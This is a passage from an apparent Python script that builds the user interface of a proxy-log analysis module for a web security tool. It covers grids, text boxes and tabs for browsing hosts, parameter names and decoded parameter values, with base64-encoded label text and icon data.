dHR///////////////////////////////////////8/Pz/hYWF/wQEBP8DAwP/rq6u/////////////////6enp/8FBQX/f39///7+/v/////////////////w8PD/V1dX/w4ODv+pqan///////n5+f81NTX/AAAA/yIiIv+1tbX///////////////////////////////////////b29v91dXX/AAAA/wUFBf/T09P////////////Ly8v/ExMT/zExMf/Ly8v////////////////////////////Jycn/HBwc/yAgIP+wsLD//////zw8PP8AAAD/GRkZ/6enp///////////////////////////////////////4eHh/1FRUf8AAAD/CgoK//n5+f//////zMzM/0JCQv8QEBD/ra2t//////////////////////////////////////+6urr/CgoK/yEhIf+3t7f/b29v/wEBAf8KCgr/kJCQ//7+/v/////////////////////////////////Ly8v/LCws/wAAAP8TExP//////8vLy/9CQkL/BgYG/6urq//7+/v///////////////////////////////////////39/f+6urr/Gxsb/xISEv8yMjL/AQEB/wAAAP99fX3/+/v7/////////////////////////////v7+/7+/v/8aGhr/AAAA/2BgYP+ysrL/ExMT/xAQEP+rq6v/+/v7///////////////////////////////////////////////////////IyMj/UVFR/woKCv8AAAD/AAAA/29vb//u7u7//v7+///////////////////////8/Pz/pKSk/wAAAP8AAAD/CAgI/wUFBf8xMTH/ra2t//v7+//////////////////////////////////////////////////////////////////n5+f/ioqK/zQ0NP8AAAD/ICAg/2hoaP+IiIj/mpqa/5mZmf+ZmZn/nJyc/4mJif9cXFz/AAAA/wAAAP8oKCj/gICA/8vLy///////////////////////////////////////////////////////////////////////////////////////zMzM/5OTk/9RUVH/Dg4O/wAAAP8NDQ3/DAwM/wwMDP8ODg7/AAAA/wsLC/8/Pz//i4uL/8LCwv/+/v7/////////////////////////////////////////////////////////////////////////////////////////////////+vr6/+jo6P/V1dX/z8/P/7CwsP+ysrL/srKy/62trf/Pz8//1NTU/+Li4v/4+Pj//////////////////////////////////////////////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') + mod_label_1 = ModLabel() + mod_label_1.Name = 'mod_label_1' + mod_label_1.Size = ModUiTools.GetSizeDefinition(353,23) + mod_label_1.Location = ModUiTools.GetLocationDefinition(165,14) + mod_label_1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_1.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_1.Enabled = True + mod_label_1.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_1.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_1.Text = Tools.Base64Decode('Q2xpY2sgb24gdGhlIFN0YXJ0IEFuYWx5c2lzIGJ1dHRvbiB0byBzdGFydCBhbiBhbmFseXNpcyBvZiB0aGUgUHJveHkgbG9ncw==') + ui.Controls.Add(mod_label_1) + ui.ModControls['mod_label_1'] = mod_label_1 + show_results_btn = ModButton() + show_results_btn.Name = 'show_results_btn' + show_results_btn.Size = ModUiTools.GetSizeDefinition(135,23) + show_results_btn.Location = ModUiTools.GetLocationDefinition(12,45) + show_results_btn.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + show_results_btn.Dock = ModUiTools.GetDockStyleDefinition('None') + show_results_btn.Enabled = True + show_results_btn.BackColor = ModUiTools.GetColorDefinition(-986896) + show_results_btn.ForeColor = ModUiTools.GetColorDefinition(-16777216) + show_results_btn.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + show_results_btn.Text = Tools.Base64Decode('U2hvdyBSZXN1bHRz') + show_results_btn.Click += lambda s,e: self.show_results() + ui.Controls.Add(show_results_btn) + ui.ModControls['show_results_btn'] = show_results_btn + status_lbl = ModLabel() + status_lbl.Name = 'status_lbl' + status_lbl.Size = ModUiTools.GetSizeDefinition(653,23) + status_lbl.Location = ModUiTools.GetLocationDefinition(165,45) + status_lbl.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + status_lbl.Dock = ModUiTools.GetDockStyleDefinition('None') + status_lbl.Enabled = True + status_lbl.BackColor = ModUiTools.GetColorDefinition(-986896) + status_lbl.ForeColor = ModUiTools.GetColorDefinition(-16777216) + status_lbl.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + status_lbl.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + status_lbl.Text = Tools.Base64Decode('ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg') + ui.Controls.Add(status_lbl) + ui.ModControls['status_lbl'] = status_lbl + result_tabs = ModTabControl() + result_tabs.Name = 'result_tabs' + result_tabs.Size = ModUiTools.GetSizeDefinition(875,478) + result_tabs.Location = ModUiTools.GetLocationDefinition(5,80) + result_tabs.Anchor = ModUiTools.GetAnchorStyleDefinition(True,True,True,True) + result_tabs.Dock = ModUiTools.GetDockStyleDefinition('None') + result_tabs.Enabled = True + result_tabs.BackColor = ModUiTools.GetColorDefinition(-986896) + result_tabs.ForeColor = ModUiTools.GetColorDefinition(-16777216) + result_tabs.TabPages.Add('parameter_names_tab', ' Parameter Names and Values ') + pnv_selected_value_log_ids_tb = ModTextBox() + pnv_selected_value_log_ids_tb.Name = 'pnv_selected_value_log_ids_tb' + pnv_selected_value_log_ids_tb.Size = ModUiTools.GetSizeDefinition(313,55) + pnv_selected_value_log_ids_tb.Location = ModUiTools.GetLocationDefinition(550,393) + pnv_selected_value_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_selected_value_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_selected_value_log_ids_tb.Enabled = True + pnv_selected_value_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + pnv_selected_value_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_selected_value_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + pnv_selected_value_log_ids_tb.ReadOnly = True + pnv_selected_value_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + pnv_selected_value_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + pnv_selected_value_log_ids_tb.Multiline = True + pnv_selected_value_log_ids_tb.WordWrap = True + pnv_selected_value_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_selected_value_log_ids_tb) + ui.ModControls['pnv_selected_value_log_ids_tb'] = pnv_selected_value_log_ids_tb + selected_value_log_ids_lbl = ModLabel() + selected_value_log_ids_lbl.Name = 'selected_value_log_ids_lbl' + selected_value_log_ids_lbl.Size = ModUiTools.GetSizeDefinition(303,16) + selected_value_log_ids_lbl.Location = ModUiTools.GetLocationDefinition(548,374) + selected_value_log_ids_lbl.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + selected_value_log_ids_lbl.Dock = ModUiTools.GetDockStyleDefinition('None') + selected_value_log_ids_lbl.Enabled = True + selected_value_log_ids_lbl.BackColor = ModUiTools.GetColorDefinition(-986896) + selected_value_log_ids_lbl.ForeColor = ModUiTools.GetColorDefinition(-16777216) + selected_value_log_ids_lbl.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + selected_value_log_ids_lbl.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + selected_value_log_ids_lbl.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg==') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(selected_value_log_ids_lbl) + ui.ModControls['selected_value_log_ids_lbl'] = selected_value_log_ids_lbl + select_value_lbl = ModLabel() + select_value_lbl.Name = 'select_value_lbl' + select_value_lbl.Size = ModUiTools.GetSizeDefinition(100,15) + select_value_lbl.Location = ModUiTools.GetLocationDefinition(548,268) + select_value_lbl.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + select_value_lbl.Dock = ModUiTools.GetDockStyleDefinition('None') + select_value_lbl.Enabled = True + select_value_lbl.BackColor = ModUiTools.GetColorDefinition(-986896) + select_value_lbl.ForeColor = ModUiTools.GetColorDefinition(-16777216) + select_value_lbl.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + select_value_lbl.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + select_value_lbl.Text = Tools.Base64Decode('U2VsZWN0ZWQgVmFsdWU6') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(select_value_lbl) + ui.ModControls['select_value_lbl'] = select_value_lbl + pnv_selected_value_tb = ModTextBox() + pnv_selected_value_tb.Name = 'pnv_selected_value_tb' + pnv_selected_value_tb.Size = ModUiTools.GetSizeDefinition(314,88) + pnv_selected_value_tb.Location = ModUiTools.GetLocationDefinition(550,283) + pnv_selected_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_selected_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_selected_value_tb.Enabled = True + pnv_selected_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + pnv_selected_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_selected_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + pnv_selected_value_tb.ReadOnly = True + pnv_selected_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + pnv_selected_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + pnv_selected_value_tb.Multiline = True + pnv_selected_value_tb.WordWrap = True + pnv_selected_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_selected_value_tb) + ui.ModControls['pnv_selected_value_tb'] = pnv_selected_value_tb + pnv_values_grid = ModDataGridView() + pnv_values_grid.Name = 'pnv_values_grid' + pnv_values_grid.Size = ModUiTools.GetSizeDefinition(315,256) + pnv_values_grid.Location = ModUiTools.GetLocationDefinition(548,3) + pnv_values_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_values_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_values_grid.Enabled = True + pnv_values_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + pnv_values_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_values_grid.AllowUserToAddRows = False + pnv_values_grid.AllowUserToDeleteRows = False + pnv_values_grid.AllowUserToResizeColumns = True + pnv_values_grid.AllowUserToResizeRows = False + pnv_values_grid.ColumnHeadersVisible = True + pnv_values_grid.RowHeadersVisible = False + pnv_values_grid.GridColor = ModUiTools.GetColorDefinition(-1) + pnv_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('ValuesClm', 'DataGridViewTextBoxCell', True, 100, 307, 5, 'Fill', 'U2VsZWN0IGEgVmFsdWUgdG8gdmlldyBkZXRhaWxzOg==')) + pnv_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('LogIds', 'DataGridViewTextBoxCell', True, 100, 5, 2, 'NotSet', 'TG9nSWRz')) + pnv_values_grid.CellClick += lambda s,e: self.pnv_values_grid_clicked() + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_values_grid) + ui.ModControls['pnv_values_grid'] = pnv_values_grid + mod_label_5 = ModLabel() + mod_label_5.Name = 'mod_label_5' + mod_label_5.Size = ModUiTools.GetSizeDefinition(254,17) + mod_label_5.Location = ModUiTools.GetLocationDefinition(5,3) + mod_label_5.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_5.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_5.Enabled = True + mod_label_5.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_5.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_5.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_5.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_5.Text = Tools.Base64Decode('VGhlIGZvbGxvd2luZyBob3N0cyB3ZXJlIGZvdW5kIGluIHRoZSBsb2dzLg==') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(mod_label_5) + ui.ModControls['mod_label_5'] = mod_label_5 + pnv_selected_parameter_tb = ModTextBox() + pnv_selected_parameter_tb.Name = 'pnv_selected_parameter_tb' + pnv_selected_parameter_tb.Size = ModUiTools.GetSizeDefinition(277,32) + pnv_selected_parameter_tb.Location = ModUiTools.GetLocationDefinition(265,265) + pnv_selected_parameter_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_selected_parameter_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_selected_parameter_tb.Enabled = True + pnv_selected_parameter_tb.BackColor = ModUiTools.GetColorDefinition(-1) + pnv_selected_parameter_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_selected_parameter_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + pnv_selected_parameter_tb.ReadOnly = True + pnv_selected_parameter_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + pnv_selected_parameter_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + pnv_selected_parameter_tb.Multiline = True + pnv_selected_parameter_tb.WordWrap = True + pnv_selected_parameter_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_selected_parameter_tb) + ui.ModControls['pnv_selected_parameter_tb'] = pnv_selected_parameter_tb + pnv_selected_host_tb = ModTextBox() + pnv_selected_host_tb.Name = 'pnv_selected_host_tb' + pnv_selected_host_tb.Size = ModUiTools.GetSizeDefinition(254,32) + pnv_selected_host_tb.Location = ModUiTools.GetLocationDefinition(5,416) + pnv_selected_host_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_selected_host_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_selected_host_tb.Enabled = True + pnv_selected_host_tb.BackColor = ModUiTools.GetColorDefinition(-1) + pnv_selected_host_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_selected_host_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + pnv_selected_host_tb.ReadOnly = True + pnv_selected_host_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + pnv_selected_host_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + pnv_selected_host_tb.Multiline = True + pnv_selected_host_tb.WordWrap = True + pnv_selected_host_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_selected_host_tb) + ui.ModControls['pnv_selected_host_tb'] = pnv_selected_host_tb + pnv_sections_grid = ModDataGridView() + pnv_sections_grid.Name = 'pnv_sections_grid' + pnv_sections_grid.Size = ModUiTools.GetSizeDefinition(277,145) + pnv_sections_grid.Location = ModUiTools.GetLocationDefinition(265,303) + pnv_sections_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_sections_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_sections_grid.Enabled = True + pnv_sections_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + pnv_sections_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_sections_grid.AllowUserToAddRows = False + pnv_sections_grid.AllowUserToDeleteRows = False + pnv_sections_grid.AllowUserToResizeColumns = True + pnv_sections_grid.AllowUserToResizeRows = False + pnv_sections_grid.ColumnHeadersVisible = True + pnv_sections_grid.RowHeadersVisible = False + pnv_sections_grid.GridColor = ModUiTools.GetColorDefinition(-1) + pnv_sections_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('SectionCln', 'DataGridViewTextBoxCell', True, 100, 274, 5, 'Fill', 'U2VsZWN0IGEgU2VjdGlvbg==')) + pnv_sections_grid.CellClick += lambda s,e: self.pnv_sections_grid_clicked() + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_sections_grid) + ui.ModControls['pnv_sections_grid'] = pnv_sections_grid + pnv_hosts_grid = ModDataGridView() + pnv_hosts_grid.Name = 'pnv_hosts_grid' + pnv_hosts_grid.Size = ModUiTools.GetSizeDefinition(254,387) + pnv_hosts_grid.Location = ModUiTools.GetLocationDefinition(5,23) + pnv_hosts_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_hosts_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_hosts_grid.Enabled = True + pnv_hosts_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + pnv_hosts_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_hosts_grid.AllowUserToAddRows = False + pnv_hosts_grid.AllowUserToDeleteRows = False + pnv_hosts_grid.AllowUserToResizeColumns = True + pnv_hosts_grid.AllowUserToResizeRows = False + pnv_hosts_grid.ColumnHeadersVisible = True + pnv_hosts_grid.RowHeadersVisible = False + pnv_hosts_grid.GridColor = ModUiTools.GetColorDefinition(-1) + pnv_hosts_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('HostCln', 'DataGridViewTextBoxCell', True, 100, 251, 5, 'Fill', 'U2VsZWN0IGEgSG9zdA==')) + pnv_hosts_grid.CellClick += lambda s,e: self.pnv_hosts_grid_clicked() + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_hosts_grid) + ui.ModControls['pnv_hosts_grid'] = pnv_hosts_grid + pnv_parameters_grid = ModDataGridView() + pnv_parameters_grid.Name = 'pnv_parameters_grid' + pnv_parameters_grid.Size = ModUiTools.GetSizeDefinition(277,256) + pnv_parameters_grid.Location = ModUiTools.GetLocationDefinition(265,3) + pnv_parameters_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + pnv_parameters_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + pnv_parameters_grid.Enabled = True + pnv_parameters_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + pnv_parameters_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + pnv_parameters_grid.AllowUserToAddRows = False + pnv_parameters_grid.AllowUserToDeleteRows = False + pnv_parameters_grid.AllowUserToResizeColumns = True + pnv_parameters_grid.AllowUserToResizeRows = False + pnv_parameters_grid.ColumnHeadersVisible = True + pnv_parameters_grid.RowHeadersVisible = False + pnv_parameters_grid.GridColor = ModUiTools.GetColorDefinition(-1) + pnv_parameters_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('ID', 'DataGridViewTextBoxCell', True, 100, 5, 2, 'NotSet', 'SUQ=')) + pnv_parameters_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Parameter Names', 'DataGridViewTextBoxCell', True, 100, 269, 5, 'Fill', 'U2VsZWN0IGEgUGFyYW1ldGVyIE5hbWU=')) + pnv_parameters_grid.CellClick += lambda s,e: self.pnv_parameters_grid_clicked() + result_tabs.TabPages['parameter_names_tab'].Controls.Add(pnv_parameters_grid) + ui.ModControls['pnv_parameters_grid'] = pnv_parameters_grid + result_tabs.TabPages.Add('encoded_parameters_tab', ' Encoded Parameter Values ') + mod_label_2 = ModLabel() + mod_label_2.Name = 'mod_label_2' + mod_label_2.Size = ModUiTools.GetSizeDefinition(205,17) + mod_label_2.Location = ModUiTools.GetLocationDefinition(252,388) + mod_label_2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_2.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_2.Enabled = True + mod_label_2.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_2.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_2.Text = Tools.Base64Decode('UGFyYW1ldGVycyBuYW1lcyBjb250YWluaW5nIHRoaXMgdmFsdWU6') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_2) + ui.ModControls['mod_label_2'] = mod_label_2 + enc_parameter_names_tb = ModTextBox() + enc_parameter_names_tb.Name = 'enc_parameter_names_tb' + enc_parameter_names_tb.Size = ModUiTools.GetSizeDefinition(270,41) + enc_parameter_names_tb.Location = ModUiTools.GetLocationDefinition(251,408) + enc_parameter_names_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_parameter_names_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_parameter_names_tb.Enabled = True + enc_parameter_names_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_parameter_names_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_parameter_names_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_parameter_names_tb.ReadOnly = True + enc_parameter_names_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_parameter_names_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_parameter_names_tb.Multiline = True + enc_parameter_names_tb.WordWrap = True + enc_parameter_names_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_parameter_names_tb) + ui.ModControls['enc_parameter_names_tb'] = enc_parameter_names_tb + mod_label_3 = ModLabel() + mod_label_3.Name = 'mod_label_3' + mod_label_3.Size = ModUiTools.GetSizeDefinition(167,14) + mod_label_3.Location = ModUiTools.GetLocationDefinition(251,9) + mod_label_3.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_3.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_3.Enabled = True + mod_label_3.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_3.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_3.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_3.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_3.Text = Tools.Base64Decode('U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo=') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_3) + ui.ModControls['mod_label_3'] = mod_label_3 + mod_label_4 = ModLabel() + mod_label_4.Name = 'mod_label_4' + mod_label_4.Size = ModUiTools.GetSizeDefinition(301,18) + mod_label_4.Location = ModUiTools.GetLocationDefinition(527,388) + mod_label_4.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_4.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_4.Enabled = True + mod_label_4.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_4.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_4.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_4.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_4.Text = Tools.Base64Decode('UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg==') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_4) + ui.ModControls['mod_label_4'] = mod_label_4 + enc_log_ids_tb = ModTextBox() + enc_log_ids_tb.Name = 'enc_log_ids_tb' + enc_log_ids_tb.Size = ModUiTools.GetSizeDefinition(336,38) + enc_log_ids_tb.Location = ModUiTools.GetLocationDefinition(527,409) + enc_log_ids_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_log_ids_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_log_ids_tb.Enabled = True + enc_log_ids_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_log_ids_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_log_ids_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_log_ids_tb.ReadOnly = True + enc_log_ids_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_log_ids_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_log_ids_tb.Multiline = True + enc_log_ids_tb.WordWrap = True + enc_log_ids_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_log_ids_tb) + ui.ModControls['enc_log_ids_tb'] = enc_log_ids_tb + mod_label_6 = ModLabel() + mod_label_6.Name = 'mod_label_6' + mod_label_6.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_6.Location = ModUiTools.GetLocationDefinition(527,300) + mod_label_6.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_6.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_6.Enabled = True + mod_label_6.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_6.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_6.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_6.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_6.Text = Tools.Base64Decode('RGVjb2RlZCBWYWx1ZTo=') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_6) + ui.ModControls['mod_label_6'] = mod_label_6 + mod_label_7 = ModLabel() + mod_label_7.Name = 'mod_label_7' + mod_label_7.Size = ModUiTools.GetSizeDefinition(100,14) + mod_label_7.Location = ModUiTools.GetLocationDefinition(251,300) + mod_label_7.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_7.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_7.Enabled = True + mod_label_7.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_7.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_7.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_7.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_7.Text = Tools.Base64Decode('T3JpZ25hbCBWYWx1ZTo=') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(mod_label_7) + ui.ModControls['mod_label_7'] = mod_label_7 + enc_decoded_value_tb = ModTextBox() + enc_decoded_value_tb.Name = 'enc_decoded_value_tb' + enc_decoded_value_tb.Size = ModUiTools.GetSizeDefinition(336,68) + enc_decoded_value_tb.Location = ModUiTools.GetLocationDefinition(527,317) + enc_decoded_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_decoded_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_decoded_value_tb.Enabled = True + enc_decoded_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_decoded_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_decoded_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_decoded_value_tb.ReadOnly = True + enc_decoded_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_decoded_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_decoded_value_tb.Multiline = True + enc_decoded_value_tb.WordWrap = True + enc_decoded_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_decoded_value_tb) + ui.ModControls['enc_decoded_value_tb'] = enc_decoded_value_tb + enc_original_value_tb = ModTextBox() + enc_original_value_tb.Name = 'enc_original_value_tb' + enc_original_value_tb.Size = ModUiTools.GetSizeDefinition(270,68) + enc_original_value_tb.Location = ModUiTools.GetLocationDefinition(251,317) + enc_original_value_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_original_value_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_original_value_tb.Enabled = True + enc_original_value_tb.BackColor = ModUiTools.GetColorDefinition(-1) + enc_original_value_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + enc_original_value_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + enc_original_value_tb.ReadOnly = True + enc_original_value_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + enc_original_value_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + enc_original_value_tb.Multiline = True + enc_original_value_tb.WordWrap = True + enc_original_value_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['encoded_parameters_tab'].Controls.Add(enc_original_value_tb) + ui.ModControls['enc_original_value_tb'] = enc_original_value_tb + enc_values_grid = ModDataGridView() + enc_values_grid.Name = 'enc_values_grid' + enc_values_grid.Size = ModUiTools.GetSizeDefinition(612,268) + enc_values_grid.Location = ModUiTools.GetLocationDefinition(251,26) + enc_values_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + enc_values_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + enc_values_grid.Enabled = True + enc_values_grid.BackgroundColor = 